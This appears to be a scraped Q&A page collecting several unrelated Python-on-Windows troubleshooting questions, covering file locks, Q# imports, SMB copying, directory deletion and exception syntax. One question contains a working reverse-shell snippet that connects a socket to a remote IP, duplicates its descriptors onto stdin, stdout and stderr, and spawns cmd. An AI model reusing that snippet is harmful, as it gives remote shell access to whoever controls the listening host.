python WinError 32 and read() method - python

I am running the following code :
import os, configparser
config = configparser.ConfigParser()
config = config.read(r'C:\Users\ms\Desktop\3815_ticket\pconfig.txt')
portfolio_path=config['Data']['portfolio']
os.rename(portfolio_path,'bloop')
I obtain the following error :
PermissionError: [WinError 32] The process cannot access the file because it is being used by another process: 'C:\\Users\\ms\\Desktop\\\\data_lin\\portfolio.xlsx' -> 'bloop'
I read some old posts about this error, hence I modified it as follow :
with config.read(r'C:\Users\ms\Desktop\3815_ticket\pconfig.txt') as x :
portfolio_path=x['Data']['portfolio']
os.rename(portfolio_path,'bloop')
But now I obtain
AttributeError: __enter__
I then tried to avoid a with block; I copied my file paths stored in pconfig.txt and then deleted the configparser object, but I still obtain the [WinError 32] error.
Any help would be appreciated !

You don't need the with statement, and it can't help you here. The error AttributeError: __enter__ occurs because you are trying to use the with statement on an object that doesn't have __enter__ and __exit__ methods. See here for details: Explaining Python's '__enter__' and '__exit__'
The PermissionError has nothing to do with config.read(). Instead, it happens because of the os.rename(portfolio_path,'bloop') statement. The error message even tells you what the problem is. Microsoft Windows thinks that the spreadsheet with the file name portfolio_path (i.e. C:\Users\ms\Desktop\data_lin\\portfolio.xlsx) is already open. The proper thing to do then is to check if that file is indeed already open. If it is open, then if you can, close it and rerun your Python script. If it isn't, then find out why MS Windows thinks it's open.

Related

Python/Q#: Module not found error, with .qs file in the same directory

Lately I started working with Q# and python as host language. I was working on a project and everything seemed fine. Suddenly I get the error "module not found" and I seem to get it in all my previous projects too.
So I have a directory: C:\Users\Username\Q#projects
In this folder I have 2 files: HostProtocol.py, which is the main file, and BB84.qs, which is the file from which I want to import.
The HostProtocol.py file looks like this:
import qsharp
from Quantum.BB84 import Run_BB84Protocol
Run_BB84Protocol.simulate()
The BB84.qs file looks like this:
namespace Quantum.BB84 {
open Microsoft.Quantum.Arrays;
open Microsoft.Quantum.Measurement;
open Microsoft.Quantum.Canon;
open Microsoft.Quantum.Intrinsic;
open Microsoft.Quantum.Diagnostics;
open Microsoft.Quantum.Convert;
open Microsoft.Quantum.Math;
function Run_BB84Protocol() Unit{... the code from the function...}
}
When I try to run HostProtocol.py I get the following error message:
Exception has occurred: ModuleNotFoundError
No module named 'Quantum'
File "C:\Users\Username\Q#projects\HostProtocol.py", line 3, in
from Quantum.BB84 import Run_BB84Protocol
And this is for all my previous projects too. It's very frustrating and I have no clue what could have caused it because it worked fine previously. Any help is definitely welcome!
If you have any Q# compilation errors in your Q# source file, your Q# operations and functions will not be available. Check your Python output for errors. When I run the sample code you provided, it reports a syntax error in the Q# code (there's a missing colon before the return type Unit):
fail: Microsoft.Quantum.IQSharp.Workspace[0]
QS3211: Invalid return type annotation. The argument tuple needs to be followed
by a colon and the return type of the callable.

Connect another computer in local network

I'm trying to connect another computer in local network via python (subprocesses module) with this commands from CMD.exe
net use \\\\ip\C$ password /user:username
copy D:\file.txt \\ip\C$
Then in python it look like below.
But when i try second command, I get:
"FileNotFoundError: [WinError 2]"
Have you met same problem?
Is there any way to fix it?
import subprocess as sp
code = sp.call(r'net use \\<ip>\C$ <pass> /user:<username>')
print(code)
sp.call(r'copy D:\file.txt \\<ip>\C$')
The issue is that copy is a built-in, not a real command in Windows.
Those Windows messages are awful, but "FileNotFoundError: [WinError 2]" doesn't mean one of source & destination files can't be accessed (if copy failed, you'd get a normal Windows message with explicit file names).
Here, it means that the command could not be accessed.
So you'd need to add shell=True to your subprocess call to gain access to built-ins.
But don't do that (security issues, non-portability), use shutil.copy instead.
Aside, use check_call instead of call for your first command, as if net use fails, the rest will fail too. Better have an early failure.
To sum it up, here's what I would do:
import shutil
import subprocess as sp
sp.check_call(['net','use',r'\\<ip>\C$','password','/user:<username>'])
shutil.copy(r'D:\file.txt,r'\\<ip>\C$')
you need make sure you have right to add a file.
i have testted successfully after i corrected the shared dirctory's right.

When I use os.dup2() on windows, I get an error: OSError: [Errno 9] Bad file descriptor

I want to get my windows shell on my server, I am using the following code.
import socket,os,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.9.9.25',10089))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['cmd','/u']);
I am getting the error
OSError: [Errno 9] Bad file descriptor.
If you've read the documentation about socket.fileno() you would know that this won't work in Windows, Quoting from Python Documentation:
socket.fileno()
Return the socket’s file descriptor (a small integer). This is useful with select.select().
Under Windows the small integer returned by this method cannot be used where a file descriptor can be used (such as os.fdopen()). Unix
does not have this limitation.
Note:
I've tried your code in Ubuntu (Linux System) and it worked fine without any tweeking.

Why can't I delete a directory created in ProgramData?

I' trying to create a directory and then delete it (for testing purposes, which I will ommit, but can give details if needed).
Like this:
>>> import os
>>> os.makedirs('C:\\ProgramData\\dir\\test')
>>> os.remove('C:\\ProgramData\\dir\\test')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
PermissionError: [WinError 5] Access is denied: 'C:\\ProgramData\\dir\\test'
I always get access denied, although I'm running the interpreter as an admin. Also I have no problem manually deleting the directory.
Use os.rmdir to delete a folder.
os.remove is for deleting files.
Use os.rmdir to remove a directory. On Windows this is implemented by calling the WinAPI function RemoveDirectory. os.remove is implemented by calling DeleteFile, which is only meant for deleting files. If the filename argument is a directory, the call fails and it sets the last error code to ERROR_ACCESS_DENIED, for which Python 3 raises a PermissionError.
In this case the access denied error is based on the NTSTATUS code STATUS_FILE_IS_A_DIRECTORY, i.e. RtlNtStatusToDosError(0xC00000BA) == 5. Often the kernel's status code is more informative than the corresponding WinAPI error, but not always, and there isn't always a simple mapping from one to the other, depending on the division of labor between the kernel, system processes, services, environment subsystems, and the application. In this case I think the kernel status code is undeniably more informative than a generic access denied error.
At a lower level the cause of the error when trying to delete a directory via DeleteFile is that it calls the system service NtOpenFile with the FILE_NON_DIRECTORY_FILE flag set in OpenOptions, whereas RemoveDirectory specifies FILE_DIRECTORY_FILE. Subsequently both functions call NtSetInformationFile to set the FileDispositionInformation to delete the file or directory.
Just to be a contrarian, let's implement the entire sequence using only file operations on an NTFS file system.
>>> import os, pathlib
>>> base = pathlib.Path(os.environ['ProgramData'])
Create the 'dir' directory:
>>> dirp = base / 'dir::$INDEX_ALLOCATION'
>>> open(str(dirp), 'w').close()
>>> os.path.isdir(str(dirp))
True
By manually specifying the stream type as $INDEX_ALLOCATION, opening this 'file' actually creates an NTFS directory. Incidentally, you can also add multiple named $DATA streams to a directory. Refer to the file streams topic.
Next create the 'test' subdirectory and call os.remove to delete it:
>>> test = base / 'dir' / 'test::$INDEX_ALLOCATION'
>>> open(str(test), 'w').close()
>>> os.path.isdir(str(test))
True
>>> os.remove(str(test))
>>> os.path.exists(str(test))
False
You may be surprised that this worked. Remember the filename in this case explicitly specifies the $INDEX_ALLOCATION stream. This overrules the FILE_NON_DIRECTORY_FILE flag. You get what you ask for. But don't rely on this since these streams are an implementation detail of NTFS, which isn't the only file system in use on Windows.

Google Appengine and Python exceptions

In my Google Appengine application I have defined a custom exception InvalidUrlException(Exception) in the module 'gvu'. Somewhere in my code I do:
try:
results = gvu.article_parser.parse(source_url)
except gvu.InvalidUrlException as e:
self.redirect('/home?message='+str(e))
...
which works fine in the local GAE development server, but raises
<type 'exceptions.SyntaxError'>: invalid syntax (translator.py, line 18)
when I upload it. (line 18 is the line starting with 'except')
The problem seems to come from the 'as e' part: if I remove it I don't get this exception anymore. However I would like to be able to access the raised exception. Have you ever encountered this issue? Is there an alternative syntax?
You probably have an older Python version on your server. except ExceptionType as varname: is a newer syntax. Previously you needed to simply use a comma: except ExceptionType, varname:.
I was getting the same error because I was using the pydoc command instead of the pydoc3 command on a python3 file that was using python3 print statements (print statements with parenthesis).
Just FYI, another possible cause for this error - especially if the line referenced is early in the script (like line 2) is line ending differences between Unix and Windows.
I was running Python on Windows from a Cygwin shell and got this error, and was really puzzled. I had created the file with "touch" before editing it.
I renamed the file to a temp file name, and copied another file (which I had downloaded from a Unix server) onto the original file name, then restored the contents via the temp file, and problem solved. Same exact file contents (on the screen anyway), only difference was where the file had originally been created.
Just wanted to post this in case anyone else ran across this error and was similarly puzzled.

Categories

Resources